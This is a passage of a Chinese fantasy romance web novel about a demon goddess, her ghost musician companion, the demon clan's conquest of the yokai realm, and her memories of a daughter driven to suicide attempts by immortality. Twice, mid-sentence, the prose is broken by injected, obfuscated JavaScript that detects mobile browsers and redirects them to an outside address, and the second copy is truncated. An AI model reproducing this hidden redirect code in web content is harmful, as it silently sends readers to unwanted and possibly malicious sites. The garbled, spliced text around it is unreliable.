商羽徽瞥了眼魔族子民:“谁是琴师?” 心知商羽徽对弹琴不感兴趣,定然又是为了这男鬼来找,她不仅身躯遭受雷劈,内心亦如五雷轰顶,备受煎熬。 “唉,琴师他……”方杜羡慕到不知如何是好,怎么有人能如此走运?不就长得好看些……这算是极尽荣宠了。 众目睽睽之下,原本还在与人作战的琴魔被拎到商羽徽与相盈的跟前。 魔域琴师非比寻常,右手只剩下三根断指,左臂也不大灵活,他满脸为难地解释:“早些年与人斗法,双臂都受了伤。” 商羽徽来回看了几眼:“这样也被叫来上战场。” 方杜严肃道:“非也,是他主动前来。” 魔族本就好战,杀戮是他们的本能,且她们也不知节制为何物,一旦开始杀人就停不下手,好不容易有战事,众魔自告奋勇。 商羽徽表示理解:“有这样的属下,你会省心不少。” 可她前来是为了听这位琴魔奏曲,琴魔听得来意,笑得很勉强:“切磋琴技自然不在话下,不过眼前正处在战事中。” 商羽徽心想这也算战事?她一脚都能踢死大半的人,只是这般行径过于野蛮,她没有理由这样做。 “你去弹吧,”方杜极有眼色地示意,还不忘夸赞琴魔,“即便你不动手,我们也士气大增。” 有她的夸奖,更是天魔的命令,断指琴师爽快地应下,回身从包袱中掏出一把古琴,席地而坐,旁若无人地拨动琴弦。 相盈笑了起来,恶劣道:“你真不顾旁人死活。” 商羽徽很淡然:“你不就喜欢这样。” 此男鬼的内心有点扭曲的变态癖好,商羽徽不理解,但不介意满足他:“直接让他与你切磋,你能满意?” 两族对阵,入目之处伤兵无数。 见天魔只是带着一个玄衣少年与断臂琴师品琴,好似根本没把旁人放在眼里,妖族少主气得咬牙:“这……成何体统。” 方杜虽只恢复半成,也足够对付妖族,上前拦住了众妖去路,重伤几个护卫后,问道:“还要继续打?” 少主瞧了眼身旁惊恐的部下,陷入沉默。 妖族并不想与魔族对抗,两方本就实力悬殊,更何况谁人不知魔族的靠山是谁。 以往的空桑虽也法力超群、盛气凌人,但与这位异蛇天魔相比,还远远不够格,须知传闻中空桑死在她手中也只不过挨了一招,这让其余六界如何应对? 与她作对,无异于自寻死路,再打下去,只会重伤妖族的子民。 孔雀精闭上眼,不情不愿道:“都住手!” 孔雀本性高傲,此刻迫于情势低头,脸容上流露出极为痛苦的神色,方杜看在眼中,忽道:“我原身是一只渡鸦,与你也算近亲,无意为难你,只要你们诚心投靠。” 不过如今渡鸦变为了彩翼灵鸟——方杜被雷劈后,还未曾仔细观察原身,并不似凤凰。 “谁与渡鸦是近亲?”少主顺了顺气,“我休战,是自知实力不足,不愿再伤害子民,你且带你的人马回去吧!” 他每说一句话要咬紧牙关:“往后有何吩咐,任凭差遣。” 得了他的投降,方杜很满意,妖族日渐式微,这个结果在她预料之内,她尚有闲心安慰:“你看,当初天魔现世,你们不愿追随,今日反倒吃了苦头。” 少主不言。 方杜无意继续嘲讽,她认为双方往后是盟友,如今既然对方已认输,她只是挥手召来魔兵,安排驻扎在此地得人手。 战事暂休,魔族还不曾杀过瘾,场上血迹未干,倒听得两岸边有人在奏琴。 商羽徽没管两族对战之事,她这回先是认真听了琴魔奏曲,他的曲声荡气回肠,杀意十足,像是从前凡人作战前的军乐,此等气势,相盈奏不出来。 琴魔又听完相盈的曲子,果真直言不讳:“琴技绝佳,只可惜醉心于哀婉之曲。” 言下之意,此人小家子气。 被如此点破,相盈不曾恼怒,若有所思:“也许我也要上几回战场,才能奏出这样的曲子。” 商羽徽替他掐灭了这个念头:“你这样就很不错。” 收起琴时,方杜又前来汇报。 “攻下妖界是在计划之内,仙族也需精心策划,唯一担忧之事,就是人界。” 人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14027487|147153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界一向很棘手,百姓虽无法力,但人数太多,比其余五界加起来还要多上数百倍,真要控制住人界,不是一件易事。 “这是你的计划,”商羽徽根本不打算干预,“想如何实施,你看着来就好,不用过问我。” 方杜领命下去。 相盈仍意犹未尽,瞧了眼正在收拾战场的魔兵,他移开眼,出神:“我们动身回去?” 商羽徽在犹豫:“我要去一趟人间。” “哦?”相盈难得温柔,“人间是个好去处,你想见谁?” 听他如此温顺,商羽徽不自在地瞥了他一眼:“你也知人间是个好去处,不过是想去转转。” 她行事总有些目的性,相盈猜测她是为了星主之事前去人界,一路上无言。 自上任人皇离奇暴毙,宫中乱作一团,新的皇帝是个幼童,大权落入了外戚手中。 百姓的日子过得还算不错,人皇惯用酷吏,他死了,官场也消停几分。 商羽徽从一老妇口中听得这些消息,作为报答,她帮老妇将柴火运到山下,使出神力时,老妇心中感激:“你二人气度不凡,想必就是他们口中所谓的仙人?” 仙界如今在人间不算秘密,老妇有此联想倒也正常,商羽徽道:“差不多。” 告别山中老妇,二人去忘了京中。 相盈走在一旁,忽而开口道:“我从没来过此处。” “此处?此处也没什么不同,”商羽徽认为凡间景色繁多,并无高低,“不过这里的人惯会装神弄鬼。” 真正的鬼不明白她的意思:“我只听闻京中富饶。” 京中何止富饶。凡人的恶念往往从此地发散…… 商羽徽站在楼宇旁,问他:“你可愿意住在此处?” 相盈抱着琴,面色黯然:“我们已搬了数次。” 天地之大,仿佛四处都是她家,只是不知何处是归处? 商羽徽摇头:“让你住在此处,自然是有用意……你不是爱弹琴么?给此地得百姓奏曲有何不同?” 相盈反问:“那你呢?” 商羽徽一时没明白,相盈将脸别到一旁,“你不会久居在凡间?” “你希望如此?”商羽徽问得过于直白,以至于相盈不知怎样作答,她继续道,“未尝不可,如我所言,凡间是个好去处。” 在许多事上,相盈并不喜欢做决策,他心性敏感,脑中所想与实际所做往往有极大的出入,说他有些惰性也不为过。 商羽徽要他住在凡间,他也应下了。 可为了这事,他心中浮现出无数疑问:“你要在凡间做什么?” 商羽徽示意他别紧张:“只不过是向凡人虚心请教。” 她口中的请教,更似是在观察,不知用了什么法子,商羽徽带着相盈住进了京中一处院落。 不一会儿,京中下起了绵绵细雨,城中行人不多,多是传道之人在此游动。 人皇的暴毙带来令人胆惧的谣言,求仙也不是人人都有的际遇,再加之各方势力夺权干政,传道成了笼络人心的手段。 “凡人,”商羽徽撑着下巴,望着雨幕中走过的白衣侍女,她叹道,“总是有奇特的计谋。” 这些侍女围在花车旁,车上立着位黄袍道人,自称是扶桑洲的使者,这场雨正是他求来。 稀稀落落的百姓跪地言谢,商羽徽想了想,抬起手,挥退雨珠。 20. 自戕 留在人间对相盈而言有诸多不便,他到底是个念灵,并不习惯凡间的烈阳。 商羽徽斜眼看他,劝道:“你不爱与人交谈才会如此小心眼。凡间在各方修士眼里都是宝地,你竟还挑三拣四。” 相盈只说:“我又无需修炼。” 忘记这男鬼毫无上进心,商羽徽从软榻上坐起身,沉思:“方杜攻打六界,虽还没对人间下手,但其余几方没道理不来干扰此处。” 要说惨,百姓的确惨,在以往的争乱中,凡人往往是被第一个拉出来垫背的,被各方势力捏在手中以作胁迫,偏偏这些苦命人并没有抵抗的能力。 扶桑洲的存在已公之于众,仙族定然也得知了妖族被攻打下来的消息,定不会放任方杜顺风顺水地进行下一步。 相盈失落:“你是为了这个才来人间。” “非也,”商羽徽摇头,“我前来皇都,是因这处曾有星主的侍徒与神庙。” 百姓总是爱看五行风水,曾被至阴神庇佑的地方,自然是风水极佳。 相盈也想了想:“凡人信奉君权神授,皇都之中,平民百姓应当不能随意传教。” 商羽徽不再言语,行至院中的溪水旁垂钓。 钓鱼是她消磨时光的方式之一,活得太久,实在无事可做,她有时甚至垂钓数月,即便鱼钩被咬住,她也只是将所得之物送回。 相盈见她入神,不再出声打扰,垂脸将琴擦了一遍,而后抚弦。 住的院落不大,居住旁有一个小小凉亭,相盈坐于暗处,只能望见商羽徽的背影。 绵长的琴声在院中低低回荡,午后闲暇,被方杜所寄来的信笺给打断。 她用羽毛化作信笺,传来自己下一步的计划,如商羽徽所想,方杜正打算拿下仙族。 多年夙愿竟能亲手达成,方杜的字里行间斗志昂扬,临了又问:“主上居于凡间,我须得避开此处?” 商羽徽想了想,回了句不必,就将羽毛递出。 钓了半晌,鱼竿上仍旧空无一物,商羽徽站起身,想起方杜信中所言。 仙族被驱逐出扶桑洲后,不再如以往那般扎堆,各宗各派都分得很远。 多年前的仙族亦是如此,甚至说,凡人最开始修仙时,并无宗族之说,青女和红女只是教授凡人法术,悟道只能靠自己,早期修士大多居于山野,受天地滋养,并不合群。 一直到后来才有分宗立派的说法,一是为了扩大势力,二是为了便于管治,商羽徽因此才认为仙凡并无多少不同。 不过在青女多年的教导下,仙族的确一心为民,商羽徽在凡间住了小半个月,就听闻有仙族使者前来人间。 比起在街头巷尾所见的虚与委蛇之辈,这回是真正的修士。 来时十分低调,不曾有多大阵仗。没有白衣仕女,没有仙童舞乐,只是从宫中传出消息,说新任魔尊暴虐无道,仙族生怕殃及到凡间百姓,特意来此。 百姓喜不自胜,自发跪在宫门前的石阶上谢恩,商羽徽与相盈站在人群外,见所来的仙族之中有一雪衣修士,墨发如瀑,正板着脸,凤目之中自带几分威严。 连相盈都认出来了:“这是丹荣?” 商羽徽一见丹荣那张脸就忍不住叹气,连忙别开目光:“她一向心善,来人间一趟倒不奇怪。” 她的抗拒实在明显,相盈默默道:“丹荣是你的女儿,创造她时,她的模样是你亲自选的。” “我只是想着照着姐姐的模样会方便些。” 哪里知道这张脸如今让她避之不及?商羽徽扼腕:“你要知晓,当初造物就是因太过寂寞,姐姐捏的那些人又不开灵魄,我本想着小枝是个例外,我与姐姐一同养育,像姐姐也无妨。” 谁料到性情也越发像姐姐,商羽徽时常怀疑当初那滴血难道弄错了,丹荣真是自己所造? 相盈问起了别的:“小枝,这个名字从何而来?” 这个听着有几分潦草的名字是她自己起的,小枝本是神树上的一寸绿意,被折落后受了命真水的孕育,又有红女的一滴血助她有了灵魄,在得知原身后,她给自己起了名字。 “她一向很有主意,”说到此事,商羽徽倒很满意,“从不让人操心,只可惜坏也坏在太有主意。” 几个执拗的人碰到一块儿,注定酿出祸端。如今她已成了丹荣,商羽徽转眸望回,喃喃道:“也不知姐姐可曾附在她的身上……” 商羽徽复生,最不想见的人必然是丹荣,聪明如青女,一早就想到了这一点吧? 仙族大动干戈前来人间,自然不会只留在皇都,分了几波人去往东南西北各几处大洲,丹荣被指派去的地方离皇都倒不远,商羽徽犹豫了会儿,决定到时候混入其中。 她不打算带相盈前去,相盈夜间拉着她的袖子忧心忡忡:“你要去多久?” 烛火摇曳,照在他旖丽的面容上,商羽徽拍了拍他的肩头:“怕什么,我日行千里,随时都能回来,何况丹荣所去之地不远。” 相盈仍未展颜:“你将我带来人间,又要将我抛于此地。” “怎么会?”见他眉宇之中布满愁容,商羽徽摇头,“你一个做鬼的,怎么还离不了人。” 从前认为只要有一把琴就足矣,外界如何与他并无干系,如今这是怎么了?相盈怔怔想着,松开手:“是我失态了。” 美人性情古怪,商羽徽没有为此不悦,示意他一同休憩。 二人住的院落僻静,仅有一个卧房,凡人所住之处,屋内自然摆着一张正儿八经的床塌。 商羽徽躺在床上,抬头就见顶头雕了一幅牡丹图,她正盯着上头的红瓣牡丹出神,就感到相盈主动抱住了她。 以往都是商羽徽抱着相盈睡觉,好似揽着一个人偶,她总会用手环在相盈的肩头,轻轻靠着而后闭眼,说起来,这还是相盈头一回主动抱着她。 他的动作谨慎又小心,只用右臂环在她的腰上,随后低声:“我睡不着。” “睡不着,你抱我做什么?”商羽徽没觉着不好意思,只是很疑惑。 相盈说道:“不可以?” 他收回手,冷声:“那我不抱就是了。” 商羽徽:“可以,但是抱我也睡不着。” 那他究竟还抱不抱了?相盈躺在一边,闷声:“你过去睡不着都在做什么?” “我无需入眠,”商羽徽提醒,“睡不着自然有别的事做。” 那边沉默了许久,好一会儿,才听到他故作从容的嗓音:“原来如此。” 倒是很识趣地不再追问了,商羽徽抓起他的一缕长发,疑惑:“先前你不是很抗拒,叫你凑过来,你都不愿意。” 回想起刚被她抓回去时,相盈不得不说:“与你不熟,我自然不情愿。” “你如今情愿了?”商羽徽将他的长发打了几个旋,然后松开抓在手心里,“我从不强迫旁人。” 相盈斟酌了一番:“情愿亦是有范畴的,我总不能什么都愿意做。” 毫无原则的宠物固然乖顺,但也无趣,商羽徽表示认同:“不错,你如今的情愿就是抱我一下么?” “……” 相盈虽心知肚明男宠要做什么,不过真要他往这块儿想,他又很为难:“我不会别的。” 商羽徽噗嗤笑出声,“你做鬼也做了一百多年,不必装模作样。” 万般无奈之下,相盈只能将自己所见之事告知,心有余悸道:“我只是无意撞见几回,看在眼中真是头晕目眩,令人作呕。” 商羽徽听罢,语声平静:“凡人的延续就是如此,谈不上恶心,你不必如此,否则你连做鬼的机遇都没有。” 相盈自然明白这个道理,不过他有了新的疑惑:“凡人如此是为了子嗣,其余六界怎么还需要?” 看来这男鬼真有点过于单纯,商羽徽一本正经:“繁衍与欢·爱本就是两回事,你所见只不过是其中一种。” 相盈错愕地睁着眼:“还能做什么?” 商羽徽可懒得教他:“这是你该去学的。” 他为什么要学?相盈有点变扭地应了声,终于忍不住问:“那你从前……他们都会么?” 她忍笑反问:“你可知我活了多少年?这些事不稀奇。” 想起被她抹去性命的上任人皇,相盈心道莫非是因为他一窍不通,她才从不逼迫他做更亲近的事? 她毫不吝啬夸赞他的容貌,也愿意为他遣散旁人,可为什么在此处待他又不同? 活了这么久,他真的是她所见的人中容貌最甚者么? 相盈在夜色中伸手触到自己的脸庞,没由来一阵惶恐,倘若她对他的夸赞也不过是随口一谈,就当打发了一只野猫野狗……他除了这张脸,再也没有拿得出手的了。 惶惶不安躺了一夜,睁眼直到天明,二人先后起身,相盈站在窗边,收到了方杜的来信。 这回不是说战事,而是谈到妖族少主给商羽徽献了几个美人,方杜询问商羽徽是否要留下。 相盈无意偷窥两人的来往信件,只是掌心伸开,羽毛上的字已显在他眼前,他还来不及收回目光,就已读完了寥寥数语。 他递到商羽徽眼前,商羽徽思索:“妖族?妖族能送来什么美人?” 上回她不曾仔细看,在她以往的记忆中,妖族修行很艰难,多数人不大在意容貌,所以奇形怪状者居多。 有此好奇心,商羽徽久违前往扶桑洲,与方杜见面。 扶桑洲还是她走前的模样,几个小妖怪将这里打点得很整洁,商羽徽又去水牢看了眼,确认易流宗的两个罪人仍然在遭受苦刑,这才心满意足地看了眼妖族送来的美人。 方杜介绍道:“唉,那只孔雀精说献给你,我看长得还不错,就给您提过来啦。” 妖族少主身为一只孔雀,眼光的确不错,一口气送来的两个少年还是双生子,清清冷冷,五官姣好。 相盈一直跟随在商羽徽身旁,冷眼望着两人,等待商羽徽做抉择。 等了好一会儿,商羽徽才怪道:“长得倒是很像相盈。” 她如此说,方杜才反应过来,顺着目光望去:“还真是,装模作样,摆着脸色。” 那两个少年被说得面上挂不住,其中一人解释:“是少主命我们如此,我们绝无不敬之意。” 只不过在那孔雀精面前现身了半晌,就叫他观察出不一样之处,他显然想着投其所好,让这对双生子刻意学相盈摆冷脸。 “他猜错了,我并不喜欢冷面美人。” 双生子跪在地上,悄摸着打量商羽徽。 他们听闻天魔很残暴,被送来时心中异常忐忑,真见了人也很紧张,只因此魔双眸漆黑,目色冰冷,气势逼人。 听她这样说不喜,更怕自己小命不保。 此刻被天魔居高临下地打量,寒意自脊髓处蔓延,二人谁也不敢说话。 静默中只听见她随意道:“好在模样生得不错,带回去也无不妥。” 这是要收下他们的意思,两位少年喜上眉梢,保住了性命,心道总算没有辜负少主的期望,行礼道:“谢过主上的收留。” 人收下了,如何安置又成了问题,商羽徽想起先前居住的栖云城,转脸对相盈道:“你带他二人去吧。” 她到此时才注意到相盈的面色极差,似怒含怨,然后只是短短一瞬,他就恢复如常,冷淡道:“好。” 商羽徽没有错过那一瞬的面色,掐住他的下巴:“你不高兴?” 说假话显然会惹她动怒,相盈低声应了,点了点头。 双生子很惶恐,他们听说过天魔很宠爱这位琴师,为他遣散众人,还曾为博他一笑骗杀妖魔……若是他不愿收下二人,他们的命又危险了。 商羽徽心底认为这对双生子比相盈差一些,她与方杜商量:“相貌是不如相盈,只学到了他爱摆脸色。” 方杜看不惯相盈专宠,努力给他添乱,分析得头头是道:“世上未必有十全十美的,模样差一些,但性情更好,且双生子定然别有趣味,更何况你身份如此,身旁只有一人,未免太孤单。” 她说得倒是不错,只是商羽徽实则并不在乎这些,什么性情好、双生与否,在她看来都无关紧要。 她完全可以现在就眼也不眨地杀了二人再一脚将他们的脑袋踢远一些,不过……她想到相盈偶尔很不听话,也不懂风情,得给他立立规矩,让他不能恃宠而骄。 于是商羽徽采纳了方杜的建议,将两个新的美人交给了相盈。 她和方杜在外说话,方杜知晓她在凡间自有计划,疑惑道:“是为了那旧神星主吗?” 商羽徽模棱两可道:“尽是些一言难尽之事。不过,我倒在凡间遇到了不少仙族……他们消息倒传得快,早早来了凡间,生怕你攻进去。” “我还没那样心急,”方杜说得很诚恳,“攻下妖族是因他们本就修为不佳,自上到下不成气候,仙族就不同了,且她们曾与空桑斗了数年,以往也经历了不少战事,贸然前去,我只怕害了部下。” 对于她的打算,商羽徽不作表态,早已神游天外,方杜继续道:“不过仙族一向以守护天下苍生为己任,早出手晚出手都是一样的,我会多加小心。” 见方杜如此,商羽徽更觉残忍,她点化方杜一点法力,足矣让她大展宏图……给丹荣的,何止这零星半点? 方杜不知她因何沉默,站在一旁手足无措,良久,商羽徽望向远处:“那就好。” 魔界之中还有要事要办,方杜完成了此行的目的,与商羽徽告别。 扶桑洲距离人间皇都太远,商羽徽也想早早回去,回身去找相盈,就见他气定神闲坐在木椅上饮茶,双生子跪在一旁,屋内气氛诡谲,寂静一片。 “在做什么?”商羽徽只当没发觉这不妙的氛围,坐到相盈身旁。 相盈微笑:“在等你回来,再将他二人送去。” 见两个少年满面惊恐,商羽徽改了主意:“不必了,就带在身边吧。” 没料到她会这样说,相盈想了好一会儿才劝她:“这二人是妖,带去凡间多有不便,吓到人事小,坏了你的计划呢?” “你倒是善解人意。”商羽徽笑着握住他的手。 此举落在两妖眼中,更让他们局促,原来这位天魔对男鬼当真宠溺,他们以后的日子要怎么过? “不过……你这只鬼都能带进去,多带两个妖也不算什么。” 有了主意,商羽徽不再去瞧相盈难堪的脸色,一同回了人间小院。 仙族在皇都早已布下结界,街道中也能时不时见到仙门徒生走过,然而他们的法力终究无法与商羽徽相比,在她的身旁,众仙不曾察觉异样。 甚至有白衣弟子在见到商羽徽时好心提醒:“姑娘家独居于巷尾要多加小心。” 他大发善心,商羽徽也笑着谢过,指了指身旁的双生子:“多谢仙长,我将将请了护院回来。” 双生子的原型是两只鸢尾蝶,法力也就比相盈强个些许,面对仙族探究的眼神,两人都冒了身冷汗,但那好心人不曾看出什么,只说了句多加小心。 青萍飞过,微风卷起乱花,商羽徽伸手接住一朵,感叹:“真是心善,想必这些年在姐姐的教导下,没少与她请教。” 神女曾是仙族最大的底气,如今神女陨落,仙族并未忘本,自身难保也要救凡人于水火中。商羽徽很钦佩,化形混入仙族时,恰好听得有两个刚入门的女修在争论:“神女不在了,但我们掌门日夜提醒不可忘记她的劝告。” 另一个女修很为难:“可我们根本没见过那位神女。” “我也没见过,”说到此处,二人都很气馁,又道,“不过我听闻海角崖的女修丹荣,模样很像曲意琅神女。” 那女修显然已见过丹荣,神往道:“当真?丹荣修士气质独特,我很是仰慕。” 说话之人神秘道:“骗你做什么,正因她模样太像神女,连带那几个大宗门的长老都对她另眼相看。” “是因她法术高强才对吧?”两人一同憧憬起来,“据说她修行速度是常人的数倍。” 天赋并非外人可比拟,两位女修艳羡之余,不再多言,一同去往宫中。 商羽徽现身在两人面前,虚心请教:“两位道友,丹荣修士何在?” 女修将她上下打量,戒备道:“你是哪个宗门的徒生?从不曾见过你。” 商羽徽早已想好应答:“我是散修。” 散修可不多见,女修更警惕:“散修?散修找丹荣修士做什么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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青衣老妇见商羽徽不作答,指了指山顶:“仙人忘记了?上回您帮我搬了木柴。” 她说到此,商羽徽总算想起来,将错就错:“是我,但我与丹荣修士不认得。” 丹荣走到她身边:“你是何方修士?” “我是散修。”商羽徽笃定。 不知为何,与丹荣交谈让她浑身不自在,且她已放出灵力去打探丹荣的灵脉,仍然没有丝毫回应。 是青女不曾在此,还是她无法触及丹荣的血脉?当初让星主切段二人的羁绊,竟做得如此彻底,一丝一毫都探寻不到。 天底下的散修不多见,丹荣多瞧了她几眼。 她年岁尚小,说起来话来却很是沉稳:“你前来此处,所为何事?六界动荡,你既是散修,还是小心为上。” 一板一眼的模样实在太像青女,不过她又未脱稚气,商羽徽有些想笑,忍了一忍:“耳闻魔界四处征战,我担忧凡间安慰,前来一看。从前我在海角崖静修时听闻过你,今日得见,实在巧合。” “你去过海角崖?”听见此话,丹荣与她稍亲近了些,“我不得已与掌门搬离,也不知海角崖如今怎么样了。” 商羽徽想起被一把火烧得精光的易流宗,怀念道:“海角崖虽偏远,但风景甚美,我离开前,依旧如此。” 修仙之人一心向善,丹荣无论如何也无法将商羽徽和当日那个天魔联想到一块儿,只当她是胸有远志的散修,鼓励道:“若没有天下太平,何来的景观可赏?魔界之人狼子野心,我等当务之急就是保护百姓安危。” “……”商羽徽端详她的脸,好几瞬误以为在于姐姐谈话,心中苦笑,“丹荣修士说得不错。” 说她少年老成也不为过,商羽徽不得不努力回想:小枝生来如此么? 似乎不是。 小枝虽受商羽徽的精血开智,生来就拥有寻常人此生难以触及的法力,但她到底不是真正的神族。 青女和红女,或是浊悬此类的旧神,往往在化形时就已是成年女性模样,而当小枝从命真水中号啕大哭被抱出时,还只是个不曾长牙的女童。 诸神对红女的造物感到好奇,接连前来探望,小枝在众神的陪伴中长大,她天性聪慧善良,时常与凡人结交做朋友。 很快,小枝察觉到了异样,她发觉自己比凡人多了许多本领,意识到身份的不同。 这还不算坏事,商羽徽耐心教导她:“你既为我的女儿,自然也有神力,你可以用这份力量保护旁人。” 小枝很敏锐:“可我不是神,我也不是凡人,对吗?” 她的法力日渐增长,像一株迫不及待生长发芽的幼苗,随之而来的是她永驻的青春和不再往前的年月,她的凡人朋友一日日老去,小枝难以接受,痛哭道:“我不要这些法力,不要与天同寿!我只要和静容一同老去、一同死去。” 商羽徽什么都能给她,唯独给不了这个,就连青女也只能沉默。 不多久,小枝的凡间挚友静容死在一场大病中,她试图用法术挽回好友的生命,却被商羽徽阻止:“你无法干预她们的生老病死。” 小枝用泪眼与商羽徽凝望。 她仍是双十年华,长发柔软漆黑,但她的好友静容病死时已年近古稀,两鬓斑白,苍老到像是她年迈的长辈。 小枝握着静容的手,眼泪滴在她的手背,再也等不到回应,她不知在向谁诉说:“不要离开我……我不做神仙,你等等我,再等等我。” 商羽徽也想安慰几句,却被小枝推到一边,她抱着静容的尸首将她安葬,数日之后,商羽徽发觉小枝试图了结性命。 其实这很可笑,小枝拥有无边法力,继承了先天之神的功体,就连身躯也是神木化身,无所不能的她,却做不到自戕这件易事。 散尽的功体又会回到她的体内,神木之躯会修补她的伤处,当她从静容的坟前醒来,心中只有绝望。 年轻的容颜无法追上朋友衰老的速度,她的法力如同一种恶毒的诅咒,将她桎梏在原地,只能眼睁睁看着静容远走。 她多想恳求静容慢一些,恳求她不要离去,可已经衰老到听不清她在说什么。 为此,小枝与商羽徽爆发了剧烈的争吵。 她歇斯底里:“我没有求过这份功体,也不要漫长的生命……为什么要给我这些?为什么让我拥有这个奇怪的身份,我只想当个凡人。” 那是商羽徽第一次造物,让她无比后悔。 小枝在她面前失魂落魄:“母亲,你创造出了我,创造出一个痛苦的怪物。” 商羽徽不能接受这个现实,更无法面对这份失败,她多次劝解小枝,但小枝不再与凡人结交。 直到有一回,商羽徽发觉小枝在房间里藏了一句早已死去的腐朽身躯。 “我无法老去,所以让她代替我。” 说出这话时,小枝形容枯槁,商羽徽再也无法忍受,前去找到了星主,彻底切断了与小枝的血脉。 做母亲很痛苦,她什么都可以给小枝,小枝也曾在她怀中撒娇,可到后来,仅仅因为二人血脉相连,,就让小枝痛得喘不上气。 斩断这份羁绊后,商羽徽很久都没再见到她,直到她一次次转世,会有偶然间的几次重逢。 大约这世间真的有天命,离开商羽徽的小枝,不管换做什么名字、什么身份,总会重新踏上仙途。 恰如这一世的丹荣。 商羽徽从郊外回到院落中,神情阴郁,凡间已入了夜,院落中一个男鬼、两只蝴蝶精,都非凡人,自然也不曾掌灯点蜡。 如墨的夜色中听不到半点声响,商羽徽撑着下巴,看着景色出神,好一会儿,终于从不妙的回忆中脱离。 活得太久就是有许多坏处,稍有不慎就会陷入到某段痛苦的思绪中。 相盈推开房门时,见商羽徽不知何时归来,形单影只,他道:“你怎么了?” 明月幽蓝,商羽徽不言语。 见她似乎疲倦,相盈几步上前,美目潋滟:“要不要歇下?” 商羽徽静静道:“好。” 而后又道:“我们四个一起歇着吧?”